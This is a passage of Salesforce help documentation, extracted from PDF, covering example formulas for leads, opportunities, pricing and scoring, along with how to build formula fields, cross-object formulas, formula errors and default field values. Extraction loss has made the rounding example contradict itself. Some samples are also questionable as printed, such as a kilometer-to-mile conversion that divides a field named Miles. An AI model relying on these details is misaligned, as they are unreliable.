This formula returns a number value for the text value in the auto-number field Lead Number. This can be useful if you want
to use the Lead Number field in a calculation, such as round-robin or other routing purposes. Note that auto-number fields
are text fields and must be converted to a number for numeric calculations.
VALUE(Lead_Number__c)

For details about using this function, see VALUE on page 1248.
Round-Robin Assignment of Cases or Leads
The following formula example for leads assumes you have three lead queues and you want to assign an equal number of
incoming leads to each queue. You can also assign cases using a similar formula.
MOD(VALUE(Lead_Number__c),
3)

This formula is for a custom formula field named Round_Robin_ID that assigns each lead a value of 0, 1, or 2. This formula
uses a custom auto-number field called Lead Number that assigns each lead a unique number starting with 1. The MOD
function divides the lead number by the number of lead queues available (three in this example) and returns a remainder of 0,
1, or 2. Use the value of this formula field in your lead assignment rules to assign lead records to different queues. For example:

Round_Robin_ID = 0 is assigned to Queue A


Round_Robin_ID = 1 is assigned to Queue B
Round_Robin_ID = 2 is assigned to Queue C

For details about using these functions, see MOD on page 1235 and VALUE on page 1248.

Metrics
Temperature Conversion
This formula converts Celsius degrees to Fahrenheit.
1.8 * degrees_celsius__c + 32

For details about using these operators, see * (Multiply) on page 1208 and + (Add) on page 1207.

1139

Customize

About Formulas

Unit of Measure Conversion


This formula converts kilometers to miles.
Miles__c/.621371192

For details about using this operator, see / (Divide) on page 1208.

Opportunity Management
Days Left to Close
This formula returns the expected number of days left to the close date of an opportunity.
Expected_close_date__c -TODAY()

For details about using this function, see TODAY on page 1245.
Display Close Month for Reporting Purposes
This formula returns the month in text for the close date of an opportunity. Use this example when building a custom report
that groups opportunities by the month of the Close Date.
CASE(
MONTH(CloseDate),
1, "January",
2, "February",
3, "March",
4, "April",
5, "May",
6, "June",
7, "July",
8, "August",
9, "September",
10, "October",
11, "November",
12, "December",
"Invalid month")

For details about using these functions, see CASE on page 1214 and MONTH on page 1236.
Expected Product Revenue
This formula calculates total revenue from multiple products, each with a different probability of closing.
ProductA_probability__c * ProductA_revenue__c + ProductB_probability__c * ProductB_revenue__c

For details about using these operators, see * (Multiply) on page 1208 and + (Add) on page 1207.
Maintenance Calculation
This formula calculates maintenance fees as 20% of license fees per year. Maintenance Years is a custom field on
opportunities.
Amount * Maint_Years__c * 0.2

1140

Customize

About Formulas

For details about using this operator, see * (Multiply) on page 1208.
Monthly Subscription-Based Calculated Amounts
This formula calculates an opportunity amount based on a monthly subscription rate multiplied by the subscription period.
Monthly_Amount__c * Subscription_Months__c

For details about using this operator, see * (Multiply) on page 1208.
Monthly Value
This formula divides total yearly value by 12 months.
Total_value__c / 12

For details about using this operator, see / (Divide) on page 1208.
Opportunity Additional Costs
This formula calculates the sum of the product Amount, maintenance amount, and services fees. Note that Maint amount
and Service Fees are custom currency fields.
Amount
+ Maint_Amount__c + Services_Amount__c

For details about using this operator, see + (Add) on page 1207.
Opportunity Categorization
This formula uses conditional logic to populate an Opportunity category text field, based on the value of the Amount
standard field. Opportunities with amounts less than $1500 are Category 1, those between $1500 and $10000 are Category
2, and the rest are Category 3. This example uses nested IF statements.
IF(Amount < 1500, "Category 1", IF(Amount > 10000, "Category 3", "Category 2"))

For details about using this function, see IF on page 1222.


Opportunity Data Completeness
This formula takes a group of fields and calculates what percent of them are being used by your personnel. This formula field
checks five fields to see if they are blank. If so, a zero is counted for that field. A 1 is counted for any field that contains a
value and this total is divided by five (the number of fields evaluated). Note that this formula requires you select the Treat
blank fields as blanks option under Blank Field Handling while the Advanced Formula subtab is showing.
(IF(ISBLANK(Maint_Amount__c), 0, 1) +
IF(ISBLANK(Services_Amount__c), 0,1) +
IF(ISBLANK(Discount_Percent__c), 0, 1) +
IF(ISBLANK(Amount), 0, 1) +
IF(ISBLANK(Timeline__c), 0, 1)) / 5

For details about using this function, see ISBLANK on page 1226.

1141

Customize

About Formulas

Opportunity Expected License Revenue


This formula calculates expected revenue for licenses based on probability of closing.
Expected_rev_licenses__c * Probability

For details about using this operator, see * (Multiply) on page 1208.
Opportunity Reminder Date
This formula creates reminder date based on seven days before the close date of an opportunity. Use this formula field in a
workflow rule to create an event for the appropriate user to take action.
Reminder Date = CloseDate - 7

For details about using these operators, see = and == (Equal) on page 1210 and - (Subtract) on page 1208.
Opportunity Revenue Text Display
This formula returns the expected revenue amount of an opportunity in text format without a dollar sign. For example, if the
Expected Revenue of a campaign is $200,000, this formula field displays 200000.
TEXT(ExpectedRevenue)

For details about using this function, see TEXT on page 1244.
Opportunity Split Credit for Sales Representatives
This formula splits opportunity amount between multiple sales representatives. The total reps custom field indicates the
total number of representatives on the deal.
Amount / total_reps__c

For details about using this operator, see / (Divide) on page 1208.
Opportunity Total Deal Size
This formula calculates the sum of maintenance and services amounts.
Amount + Maint_Amount__c + Services_Amount__c

For details about using this operator, see + (Add) on page 1207.
Opportunity Total Price Based on Units
This formula generates proposal pricing based on unit price and total volume.
Unit_price__c * Volume__c * 20

For details about using this operator, see * (Multiply) on page 1208.

1142

Customize

About Formulas

Professional Services Calculation


This formula estimates professional service fees at an average loaded rate of $1200 per day. Consulting Days is a custom
field on opportunities.
Consulting_Days__c * 1200

For details about using this operator, see * (Multiply) on page 1208.
Stage-Based Sales Document Selection
This formula Identifies a relevant document in the Documents tab based on opportunity Stage. Use document IDs in the
form of 00l30000000j7AO.
CASE(StageName,
"Prospecting", "Insert 1st Document ID",
"Qualification", "Insert 2nd Document ID",
"Needs Analysis", "Insert 3rd Document ID",
"Value Proposition", ...
)
)

For details about using this function, see CASE on page 1214.
Sales Coach
This formula creates a hyperlink that opens a stage-specific document stored in the Documents tab. It uses the previously
defined custom formula field that identifies a document based on opportunity Stage. See Stage-Based Sales Document
Selection on page 1143.
HYPERLINK("/servlet/servlet.FileDownload?file=" & Relevant_Document__c, "View Document in
New Window")

For details about using this function, see HYPERLINK on page 1221.
Shipping Cost by Weight
This formula calculates postal charges based on weight.
package_weight__c * cost_lb__c

For details about using this operator, see * (Multiply) on page 1208.
Shipping Cost Percentage
This formula calculates shipping cost as a fraction of total amount.
Ship_cost__c / total_amount__c

For details about using this operator, see / (Divide) on page 1208.

1143

Customize

About Formulas

Tiered Commission Rates


This formula calculates the 2% commission amount of an opportunity that has a probability of 100%. All other opportunities
will have a commission value of zero.
IF(Probability = 1,
ROUND(Amount * 0.02, 2),
0)

For details about using these functions, see IF on page 1222 and ROUND on page 1242.
Total Contract Value from Recurring and Non-Recurring Revenue
This formula calculates both recurring and non-recurring revenue streams over the lifetime of a contract.
Non_Recurring_Revenue__c + Contract_Length_Months__c * Recurring_Revenue__c

For details about using these operators, see + (Add) on page 1207 and * (Multiply) on page 1208.

Pricing
Total Amount
This formula calculates a total amount based on unit pricing and total units.
Unit_price__c * Total_units__c

For details about using this operator, see * (Multiply) on page 1208.
User Pricing
This formula calculates a price per user license.
Total_license_rev__c / Number_user_licenses__c

For details about using this operator, see / (Divide) on page 1208.

Project Management
Calculate Intermediate Milestone from End Date
This formula calculates intermediate milestone dates by subtracting days from the end date (for projects that are planned based
on end date).
Release_Date__c - 7 * Phase_duration_in_weeks__c

For details about using this operator, see * (Multiply) on page 1208.

1144

Customize

About Formulas

Scoring Calculations
Lead Scoring
This formula scores leads, providing a higher score for phone calls than website requests.
CASE(LeadSource, "Phone", 2, "Web", 1, 0)

Here's a formula that scores a lead based on his or her rating:


CASE(1, IF(ISPICKVAL(Rating, "Hot"), 1, 0), 3, IF(ISPICKVAL(Rating, "Warm"), 1, 0), 2,
IF(ISPICKVAL(Rating, "Cold"), 1, 0), 1))

For details about using this function, see CASE on page 1214.
Customer Success Scoring
This formula uses a simple scoring algorithm to rank customers a high score for positive survey results in Salesforce.
Survey_Question_1__c * 5 + Survey_Question_2__c *2

For details about using these operators, see * (Multiply) on page 1208 and + (Add) on page 1207.

Using Formulas in Salesforce


Many areas in Salesforce use formulas. Before you begin using formulas, review the differences between the following uses for
formulas:
Approval Processes
Defines the criteria a record must match to enter an approval process
Approval Steps
Defines the criteria a record must match to enter a step in an approval process
Assignment Rules for Leads and Cases
Specifies conditions that a lead or case must match for it to be assigned
Auto-Response Rules for Leads and Cases
Defines the criteria a lead or case must match to trigger an auto-response rule
Case Escalation Rules
Specifies conditions that a case must match for it to be escalated
Default Field Values
Automatically inserts a value in a custom field when a record is first created
Users can change a default value if they wish. Default field values can be based on a formula using values, merge fields,
or expressions you specify.

1145

Customize

About Formulas

Formula Fields
Automatically calculates the value of a custom field using the values, merge fields, or expressions you specify
Users cannot change the value of a formula field.
Validation Rules
Prevents users from entering an invalid value in a standard or custom field
Validation rules can be based on formulas and display an error message to the user when the value they enter is not valid
for that field.
Workflow Rules
Defines the criteria a record must meet to trigger a workflow rule
Field Updates
Automatically changes the value of a field to a value you specify
You can set field updates to occur as a result of a workflow rule or an approval process.
Custom Summary Formulas in Reports
Automatically calculates additional totals based on existing report summaries using the values, merge fields, or expressions
you specify
Users cannot change these totals.
Default Field
Values

Formula Fields Validation


Rules

Workflow
Rules and
Approval
Processes

Field Updates

Custom
Summary
Formulas for
Reports

When are they


executed?

Record creation Record display

Record save

Record save

Workflow or
Report display
approval process

Read only?

No

Yes

Not applicable

Not applicable

Not applicable

Yes

Can include
functions?

Yes

Yes

Yes

Yes

Yes

Yes, a limited
subset of
functions

Can specify null No


handling?

Yes

No

No

No

Yes

1146

Customize

Building Formulas

Can include
references to
parent merge
fields?

Default Field
Values

Formula Fields Validation


Rules

Workflow
Rules and
Approval
Processes

Field Updates

Custom
Summary
Formulas for
Reports

No

Yes

Yes

Yes

No

Yes

See Also:
Defining Default Field Values
Building Formulas
Defining Field Updates
Building Custom Summary Formulas

Building Formulas
Available in: All Editions

User Permissions Needed


To view formula field details:

View Setup and Configuration

To create, change, or delete formula fields:

Customize Application

Your custom formula fields require special attributes. To build your formula:
1. Begin building a formula field the same way you create a custom field. See Creating Custom Fields on page 1075.
2. Select the data type for the formula. Choose the appropriate data type for your formula based on the output of your
calculation. See Formula Data Types on page 1116.
3. Choose the number of decimal places for currency, number, or percent data types. This setting is ignored for currency
fields in multicurrency organizations. Instead, the Decimal Places for your currency setting apply.
Note: Salesforce uses the round half up tie-breaking rule for numbers in formula fields. For example, 12.345
becomes 12.35 and 12.345 becomes 12.34.
4. Click Next.
5. Build your formula:
a. If you are building a formula in the Advanced Formula tab or for approvals or rules, such as workflow, validation,
assignment, auto-response, or escalation, click Insert Field, choose a field, and click Insert.

1147

Customize

Building Formulas

To create a basic formula that passes specific Salesforce data, select the Simple Formula tab, choose the field type in
the Select Field Type drop-down list, and choose one of the fields listed in the Insert Field drop-down list.
Tip: Build cross-object formulas to span to related objects and reference merge fields on those objects.

b. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list. Use the
examples in Operators and Functions on page 1203.
c. Optionally, click the Advanced Formula tab to use functions and view additional operators and merge fields. Functions
are prebuilt formulas that you can customize with your input parameters. For a description of each operator and function,
see Operators and Functions on page 1203.
d. To insert a function, double-click its name in the list, or select it and click Insert Selected Function. To filter the list
of functions, choose a category from the Functions drop-down list. Select a function and click Help on this function
to view a description and examples of formulas using that function.
e. Consider adding comments to your formula, especially if it is complicated. Comments must begin with a forward slash
followed by an asterisk (/*), and conclude with an asterisk followed by a forward slash (*/).
Comments are useful for explaining specific parts of a formula to anyone viewing the formula definition. For example:
AND(
/*competitor field is required, check to see if field is empty */
LEN(Competitor__c) = 0,
/* rule only enforced for ABCD record types */
$RecordType.Name = "ABCD Value",
/* checking for any closed status, allows for additional closed picklist values in the
future */
CONTAINS(TEXT(StageName), "Closed")
)

You can also use comments to comment out sections of your formula when debugging and checking the syntax to locate
errors in the formula.
Note:

Nesting comments causes a syntax error. For example, you cannot save a formula that has the following:
/* /* comment */ */

Commenting out a whole formula causes a syntax error.


Comments count against the character and byte size limits in formulas.

Note: Formula fields can contain up to 3,900 characters, including spaces, return characters, and comments. If
your formula requires more characters, create separate formula fields and reference them in another formula field.
The maximum number of displayed characters after an evaluation of a formula expression is 1,300 characters.
6. Click Check Syntax to check your formula for errors.
7. Optionally, enter a description of the formula in the Description box.
8. If your formula references any number, currency, or percent fields, choose an option for handling blank fields. To give any
blank fields a zero value, choose Treat blank fields as zeros. To leave these fields blank, choose Treat blank
fields as blanks.
9. Click Next.

1148

Customize

Building Formulas

10. Set the field-level security to determine whether the field should be visible for specific profiles, and click Next.
11. Choose the page layouts that should display the field. The field is added as the last field in the first two-column section
on the page layout. For user custom fields, the field is automatically added to the bottom of the user detail page.
12. Click Save to finish or Save & New to create more custom fields.
Note: Because formula fields are automatically calculated, they are read-only on record detail pages and do not update
last modified date fields. Formula fields are not visible on edit pages.
In account formulas, all business account fields are available as merge fields. However, account fields exclusive to
person accounts such as Birthdate and Email are not available. For more information, see What is a Person Account?
on page 68.
Formulas on Activities that use standard fieldseither alone or in workflow rulesshouldn't be placed on both the
Task and Event pages. This is because both Tasks and Events are considered Activities. For instance, if a formula is
used on a standard field only available for Tasks, it will also mistakenly be pulled into Events.

See Also:
About Formulas
Operators and Functions
Elements of a Formula
Formulas: How Do I...
Tips on Building Formulas
Formula Errors
Building Custom Summary Formulas
Understanding Global Variables
Quick Reference Guide: Formula Fields

Tips on Building Formulas

Default value formulas for a type of record can only reference fields for that type of record. However, formula fields and
formulas for approvals or rules, such as workflow, validation, assignment, auto-response, or escalation, for a type of record
can reference fields for that type of record as well as any records that are related through a lookup or master-detail
relationship. For example, a formula for a validation rule on opportunities can reference merge fields for accounts and
campaigns as well as opportunities, and a formula field on accounts can reference fields for cases.
Formula fields that a user can see may reference fields that are hidden or read only using field-level security. If the formula
field contains sensitive information, use field-level security to hide it. See Field-Level Security Overview on page 663.
The following limits apply to formula fields:
Character limitFormula fields can contain up to 3,900 characters, including spaces, return characters, and comments.
If your formula requires more characters, create separate formula fields and reference them in another formula field.
Note: The maximum number of displayed characters after an evaluation of a formula expression is 1,300
characters.
Save size limitFormula fields cannot exceed 4,000 bytes when saved. The save size differs from the number of
characters if you use multi-byte characters in your formula.

1149

Customize

Building Formulas

Compile size limitFormula fields cannot exceed 5,000 bytes when compiled. The compile size is the size of the
formula (in bytes) including all of the fields, values, and formulas it references. There is no direct correlation between
the compile size and the character limit. Some functions, such as TEXT, DATEVALUE, DATETIMEVALUE, and
DATE significantly increase the compile size.

Long text area, encrypted, and Description fields are not available for use in formulas.
The value of a field cannot depend on another formula that references it.
Fields referenced in formulas cannot be deleted. Remove the field from the formula before deleting it.
Task Due Date is not available for use in formulas.
Campaign statistic fields cannot be referenced in formulas for field updates, approval processes, workflow rules, or validation
rules, but can be referenced in custom formula fields. For more information, see Campaign Fields on page 2854.
You can add activity formula fields to task and event page layouts. Note that a task-related formula field on an event page
layout may not be useful. Likewise, event-related formula fields on task page layouts may not be useful.
Use the IsTask merge field to determine if a record is a task or event. For example, the following formula displays text
indicating if the record is a task or event:
IF(IsTask, "This is a task", "This is an event")

To reference the unique identifier for your Salesforce organization in a formula, insert the $Organization.Id merge
field. This merge field can display anywhere formula fields can except in reports.
Some merge fields display as radio buttons but function like picklist fields when referenced in a formula. Use the values
Read, Edit, and None when referencing the following merge fields in a formula.

$UserRole.CaseAccessForAccountOwner
$UserRole.OpportunityAccessForAccountOwner
CaseAccessLevel (on Territory)
OpportunityAccessLevel (on Territory)

Use the values Read, Edit, and All when referencing the following merge fields in a formula:
AccountAccessLevel (on Territory)

If you create a contacts formula field that references account merge fields, that field can be included in contact page layouts
but should not be included in person accounts page layouts. The formula field will display a value of #Error on the person
accounts page.

Working with Date and Date/Time Fields

Dates and times are always calculated using the users time zone.
Date and date/time fields cannot be used interchangeably. The name alone may not indicate if a field is a date or date/time.
For example, Created Date and Last Modified Date are date/time fields whereas Last Activity Date is a
date field. Use the DATEVALUE function to convert a date/time field into a date field.
Note: In email templates, the Created Date and Last Modified Date fields display only the date, not the
date and time.

Use addition and subtraction operators with date or date/time fields to calculate duration. For example, subtract a date
from another date to calculate the number of days between the two. Likewise, you can subtract the date/time from another
date/time to get the number of days between the two in the form of a number. See NOW on page 1236 or TODAY on page
1245 for suggested use.

1150

Customize

Building Formulas

Use addition and subtraction operators with numbers to return another date or date/time. For example, {!CreatedDate}
+ 5 calculates the date and time five days after a records created date. Note that the expression returns the same data type
as the one given; a date field plus or minus a number returns a date, and a date/time field plus or minus a number returns
a date/time.
When calculating dates using fractions, Salesforce ignores any numbers beyond the decimal. For example:
TODAY() + 0.7 is the same as TODAY() + 0, which is todays date
TODAY() + 1.7 is the same asTODAY() + 1, which is tomorrows date
TODAY() + (-1.8) is the same as TODAY() + (-1), which is yesterdays date

To calculate the value of two fractions first, group them within parentheses. For example:
TODAY() + 0.5 + 0.5 is the same as TODAY() + 0 + 0, which is todays date
TODAY() + (0.5+0.5) is the same as TODAY() + 1, which is tomorrows date

Years cannot be zero and must be between -4713 and 9999.

Working with Text Fields

Before using the HYPERLINK function, consider the differences between hyperlinks and custom links.
Hyperlink formula fields are just like other custom fields that you can display in list views and reports.
Custom links display on detail pages in a predefined section; hyperlink formula fields can display on a detail page
wherever you specify.
Using custom links, you can specify display properties such as window position and opening in a separate popup position;
hyperlink formula fields open in a new browser window by default or you can specify a different target window or frame.
Your formulas can reference custom links. Before deleting a custom link, make sure it is not referenced in a formula
field.
Hyperlink formula fields that contain relative URLs to Salesforce pages, such as /rpt/reportwizard.jsp, can be
added to list views, reports, and related lists. However, use a complete URL, including the server name and https://,
in your hyperlink formula before adding it to a search layout. Note that formula fields are not available in search result
layouts.

Before using the HYPERLINK function, consider these:


Hyperlink formula fields open in a new browser window by default or you can specify a different target window or
frame.
Hyperlink formula fields that contain relative URLs to Salesforce pages can be added to list views and related lists.
However, use a complete URL, including the server name and https://, in your hyperlink formula before adding it
to a search layout. Note that formula fields are not available in search result layouts.

To insert text in your formula field, surround the text with quotation marks. For example, to display CASE: 123, use
this formula "CASE: "& CaseNumber__c.
Use the backslash (\) character before a quote or backslash to insert it as a literal value in your output. For example,
"Trouble\\Case \"Ticket\": " in your formula displays Trouble\Case "Ticket": on detail pages.

Working with Number Fields

Use the decimal version of a percent when working with percent fields in formulas. For example, IF(Probability
=1...) for 100% probability or IF(Probability =0.9...) for 90% probability.
Reference auto-number fields as text fields in formulas.
The output of your formula must be less than 19 digits. See Formula Errors on page 1154.
Formulas can contain a mix of numbers, percents, and currencies as in this example: AnnualRevenue /
NumberOfEmployees.

1151

Customize

Building Formulas

Salesforce uses the round half up tie-breaking rule for numbers in formula fields. For example, 12.345 becomes 12.35 and
12.345 becomes 12.34.

Working with Cross-Object Formulas

Cross-object formulas that reference currency fields convert the value to the currency of the record that contains the formula.
Salesforce allows a maximum of ten unique relationships per object in cross-object formulas. The limit is cumulative across
all formula fields, rules, and lookup filters. For example, if two different formulas on opportunities reference two different
fields of an associated account, only one unique relationship exists (from opportunities to accounts).
You cannot reference cross-object formulas in roll-up summary fields.
In cross-object formulas, you cannot reference merge fields for objects related to activities. For example, merge fields for
contacts and accounts are not available in task and event formulas.
In cross-object formulas, you cannot reference record owner merge fields for any object. For example, the opportunity
owner's Role merge field is not available in opportunity formulas.
Do not use the $RecordType global variable in cross-object formulas. The $RecordType variable only resolves to the
record containing the formula, not the record to which the formula spans.

Referencing Record Types in Formulas


Reference record types in formulas if you want different workflow rules, validation rules, and lookup filters to apply to different
record types. For example, you can:

Create a workflow rule on accounts that emails different teams depending on the account record type the user selects when
creating the account.
Create a validation rule on opportunities that allows only members of the North American sales team to save opportunities
with the Domestic record type.

When referencing a record type in a formula, use RecordType.Id instead of RecordType.Name. If you use
RecordType.Name and the record type name changes, your formula will break. The record type ID never changes.
Using RecordType.Id can make your formula less readable, so use inline comments to make your formula readable.
Do not use the $RecordType global variable in cross-object formulas. The $RecordType variable only resolves to the record
containing the formula, not the record to which the formula spans.
Working with Picklists and Multi-Select Picklists

You can use special picklist fields in your formulas, such as IsEscalated for cases and IsWon for opportunities.
Picklist fields can only be used in the following functions:
ISPICKVALCompares the value of a picklist to a single value.
CASECompares the value of a picklist to multiple values.
TEXTConverts a picklist value into a text value so that you can work with the value in functions that support text
value, such as CONTAINS. (Only available in formula fields, validation rules, and workflow field updates.)

The TEXT function always returns picklist values in your organization's master language, not the language of the current
user.
Multi-select picklist fields can only be used in the following functions:

INCLUDES
ISBLANK
ISNULL
ISCHANGED (Only in assignment rules, validation rules, workflow field updates, and workflow rules in which the
trigger type is set to Every time a record is created or edited)

1152

Customize

Building Formulas

PRIORVALUE (Only in assignment rules, validation rules, workflow field updates, and workflow rules in which the
trigger type is set to Every time a record is created or edited)

See Also:
Building Formulas
Formula Errors

What are Cross-Object Formulas?


Available in: All Editions

User Permissions Needed


To create or change cross-object formulas:

Customize Application

Cross-object formulas are formulas that span two related objects and reference merge fields on those objects. Cross-object
formulas can reference merge fields from a master (parent) object if an object is on the detail side of a master-detail relationship.
You can reference fields from objects that are up to ten relationships away. Cross-object formulas are available anywhere
formulas are used except when creating default values.
To create a cross-object formula when building a formula in the Simple Formula tab, enter the relationship names of the
objects to which you are spanning followed by the field you want to reference. Separate the relationship names of each object
and the field with periods.
For example, enter Contact.Account.Name to reference the Account Name for a contact associated with a case in a
formula field on the Case object. Be sure to use the relationship names of the objects, not the labels. Although the relationship
name is often the same as the object name, it is technically the field name of the relationship field. For example, to reference
the parent account name from Account object, the syntax is Parent.Name, not Account.Name. Also, when referencing a
custom object, add two underscores and the letter r to its name. For example, Position__r.title__c references the Job
Title field (title__c) on a Position custom object.
To create a cross-object formula when building a formula in the Advanced Formula tab or for approvals or rules, such as
workflow, validation, assignment, auto-response, or escalation rules, click Insert, then click the related object to list its fields.
Related objects are denoted by a > sign.
Note: The value of the Profile.Name merge field differs depending on the context of the cross-object formula field
that references it. On detail pages, the value is the profile name, as expected; however, in list views and reports, the
value is the internal value of the associated profile instead. If you use Profile.Name in a formula, use it within an
OR function to ensure the formula always returns the intended result. For example:
IF
(OR
(LastModifiedBy.Profile.Name = "Standard User", LastModifiedBy.Profile.Name
= "PT2"),
"Standard", "Not Standard")

1153

Customize

Building Formulas

None of the above applies to profile names referenced by the $Profile global variable.

See Also:
Building Formulas
Operators and Functions

Formula Errors
Available in: All Editions

User Permissions Needed

To view formula field details:

View Setup and Configuration

To create, change, or delete formula fields:

Customize Application

#Error! displays for a formula field whenever an error occurs while calculating the value of a formula. To resolve the
error, check your formula.
Is the formula dividing by zero? If so, check if the denominator of your expression is zero and provide an alternative
value. For example, the following campaign formula field is blank if the number of opportunities is zero:
IF(NumberOfOpportunities > 0,
NumberOfWonOpportunities / NumberOfOpportunities, null)

Is the formula calculating a value larger than the maximum value of the current type? If so, you can append L to numeric
values to make them Long so the intermediate products will be Long and no overflow occurs. For example, the following
example shows how to correctly compute the amount of milliseconds in a year by multiplying Long numeric values.
Long MillsPerYear = 365L * 24L * 60L * 60L * 1000L;
Long ExpectedValue = 31536000000L;
System.assertEquals(MillsPerYear, ExpectedValue);

Is the formula calculating the square root of a negative number? If so, use an IF function similar to the one above to
check if the value is a positive number.
Is the formula calculating the LOG of a negative number? If so, use an IF function similar to the one above to make
sure that the number is positive.
Is the formula using the VALUE function with text that contains special characters? For examples of special characters,
see Operators and Functions on page 1203.
Make sure the formula does not contain a HYPERLINK function within a text function, such as LEFT(
HYPERLINK("http://MYCOMPANY.ORG ", "MYCOMPANY ") , 5).
Is the formula disabled or referencing a disabled formula field? Salesforce disables formula fields when they are deleted
and they remain disabled after they are restored. To enable disabled formula fields, edit and save the field. For more
information on deleted custom fields and restoring them, see Managing Deleted Custom Fields on page 1105.

1154

Customize

Defining Default Field Values

#Too Big! displays if your formula output is over 18 digits. When this happens, check your formula for calculations that
could result in more than 18 digits. Avoid multiplying large numbers, raising a large number to a power, or dividing by a
very small number.
CASE functions return an error whenever any of the expressions return an error, regardless of which one should be returned.
For example, CASE(Field__c,"Partner", "P", "Customer", "C", LEFT(Field__c, -5)) returns an error
even if the value of the field is Partner or Customer because the last statement is illogical.
Prevent division by zero errors by including an IF function that determines if the value of a field is zero. For example,
IF(Field__c =0,0, 25/Field__c).

Defining Default Field Values


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view default field values:

View Setup and Configuration

To define or change default field values:

Customize Application

To define a default field value:


1. Begin by creating a custom field; see Creating Custom Fields on page 1075. You can also define a default value for an existing
custom field; see Editing Fields on page 1086.
2. Choose the type of field to create and click Next. For a list of the types available for default values, see About Default Field
Values on page 1156.
3. Enter the attributes for the field.
4. Enter a default value or define a formula to calculate the default value:
a. Click Show Formula Editor to view the formula editor.
b. If you are building a formula in the Advanced Formula tab or for approvals or rules, such as workflow, validation,
assignment, auto-response, or escalation, click Insert Field, choose a field, and click Insert.
To create a basic formula that passes specific Salesforce data, select the Simple Formula tab, choose the field type in
the Select Field Type drop-down list, and choose one of the fields listed in the Insert Field drop-down list.
Tip: Build cross-object formulas to span to related objects and reference merge fields on those objects.

c. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list. Use the
examples in Operators and Functions on page 1203.
d. Double-click a function to insert it in your formula. For a description of each operator and function, see Operators and
Functions on page 1203.
e. Click Check Syntax to check your formula for errors.
Note: You can define a formula for default values only where appropriate. For example, the default value options
for picklist and checkbox fields are limited to the options available for those types of fields, such as Checked,
Unchecked, or Use first value as default value.

1155

Customize

Defining Default Field Values

5. Click Next.
6. Set the field-level security to determine whether the field should be visible for specific profiles, and click Next.
7. Choose the page layouts that should display the field. The field is added as the last field in the first two-column section
on the page layout. For user custom fields, the field is automatically added to the bottom of the user detail page.
8. Click Save to finish or Save & New to create more custom fields.
Note: You must specify a default value for required campaign member custom fields.
Default values should not be assigned to fields that are both required and unique, as uniqueness errors may result.

See Also:
About Default Field Values
Default Field Value Considerations
Useful Default Field Value Formulas

About Default Field Values


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Use default field values to make your users more productive by reducing the number of fields they need to fill in manually.
Default field values automatically insert the value of a custom field when a new record is created. A default value can be based
on a formula for some types of fields or exact values such as Checked or Unchecked for checkbox fields.
After you have defined default values:
1.
2.
3.
4.
5.

The user chooses to create a new record.


Default field value is executed.
Salesforce displays the edit page with the default field value pre-populated.
The user enters the fields for the new record.
The user saves the new record.

The user can change the field's value but the initial default field value is only executed once, during record creation. For
example, you can set the default field value on a custom lead field to seven days after the creation date to signify when to
contact the lead again. You can change this value later, but you cannot automatically restore the value that was seven days after
the creation date.
Set up default field values for the following types of custom fields:

Checkbox
Currency
Date
Date/Time
Email
Number
Percent

1156

Customize

Defining Default Field Values

Phone
Picklist (use the default option when setting up the picklist)
Text
Text Area
URL

For a description of these types, see Custom Field Types on page 1077.

See Also:
Defining Default Field Values
Default Field Value Considerations
Useful Default Field Value Formulas

Useful Default Field Value Formulas


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view default field values:

View Setup and Configuration

To define or change default field values:

Customize Application

Maximum Discount Rate


Your organization my apply different discount rates to opportunities based on the department of the person creating the
opportunity. Use the following example to set a default value for a custom field called Discount Rate on opportunities.
CASE(User.Department, "IT", 0.25, "Field", 0.15, 0)

In this example, the formula inserts a discount rate of 25% on any opportunity created by a user in the IT department or
15% on any opportunity created by someone in the Field department. A zero is applied if the creator does not belong to
either of these departments. This is a custom percent field on opportunities that uses the standard user field Department.
For more information on using this function, see CASE on page 1214.
Product Language
You may want to associate a product with its language so that your users know the type of documentation or adapter to include.
Use the following default value formula to automatically set the language of a product based on the country of the user creating
the product. In this example, the default value is Japanese if the user's country is Japan and English if the user's country
is US. If neither is true, the default value unknown is inserted into the Product Language field.
CASE($User.Country , "Japan", "Japanese", "US", "English","unknown")

For more information on using this function, see CASE on page 1214.

1157

Customize

Defining Default Field Values

Tax Rate
Use this default value formula to set the tax rate of an asset based on the user's city. Create a custom percent field with the
following default value:
IF($User.City = "Napa", 0.0750,
IF($User.City = "Paso Robles", 0.0725,
IF($User.City = "Sutter Creek", 0.0725,
IF($User.City = "Los Olivos", 0.0750,
IF($User.City = "Livermore", 0.0875, null
)
)
)
)
)

In this example, a tax rate of 8.75% is applied to an asset when the user's address is in the city of Livermore. When none of
the cities listed apply, the Tax Rate field is empty. You can also use the Tax Rate field in formulas to automatically calculate
taxable amounts and final sales prices.

See Also:
Defining Default Field Values
Default Field Value Considerations
About Default Field Values

Default Field Value Considerations


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Default field values automatically insert the value of a custom field when a new record is created. A default value can be based
on a formula for some types of fields or exact values such as Checked or Unchecked for checkbox fields. Review the following
considerations before incorporating default field values in your organization.

If a default value is based on the value of a merge field, Salesforce uses the value of the merge field at the time the default
value is executed. If the value of the merge field changes later, the default value is not updated.
Users can change or remove the default field value on a record.
Default values should not be assigned to fields that are both required and unique, as uniqueness errors may result.
If you make an activity custom field universally required, you must also provide a default value.
If an activity custom field is unique, you cannot provide a default value.
Default field values are different from formula fields in the following ways: they are only executed once, at record creation;
they are not read only; and the user can change the value but cannot restore the default field value.
Since the default value is inserted before users enter any values in the new record, you cannot use the fields on the current
record to create a default field value. For example, you cannot create a default field value on a contact that uses the first
initial and last name because those values are not available when you click New to create a contact record. However, you
can use the record type because it is selected before the record edit page displays.
To apply a different default value for different record types, use the record type as a merge field in a CASE function within
the default field value setup.

1158

Customize

Managing Validation Rules

Fields that are not visible to the user due to field-level security are still available in the formula for a default field value.
Connect Offline, Connect for Lotus Notes, Connect for Outlook, and Salesforce for Outlook do not display default values.
However, Salesforce inserts the default values when a user syncs unless the user entered a value.
Default field values are not available in the Self-Service portal.
Lead conversion, Web-to-Lead, and Web-to-Case do not execute default field values.
Note: You can define a formula for default values only where appropriate. For example, the default value options for
picklist and checkbox fields are limited to the options available for those types of fields, such as Checked, Unchecked,
or Use first value as default value.

See Also:
Defining Default Field Values
About Default Field Values
Useful Default Field Value Formulas

Managing Validation Rules


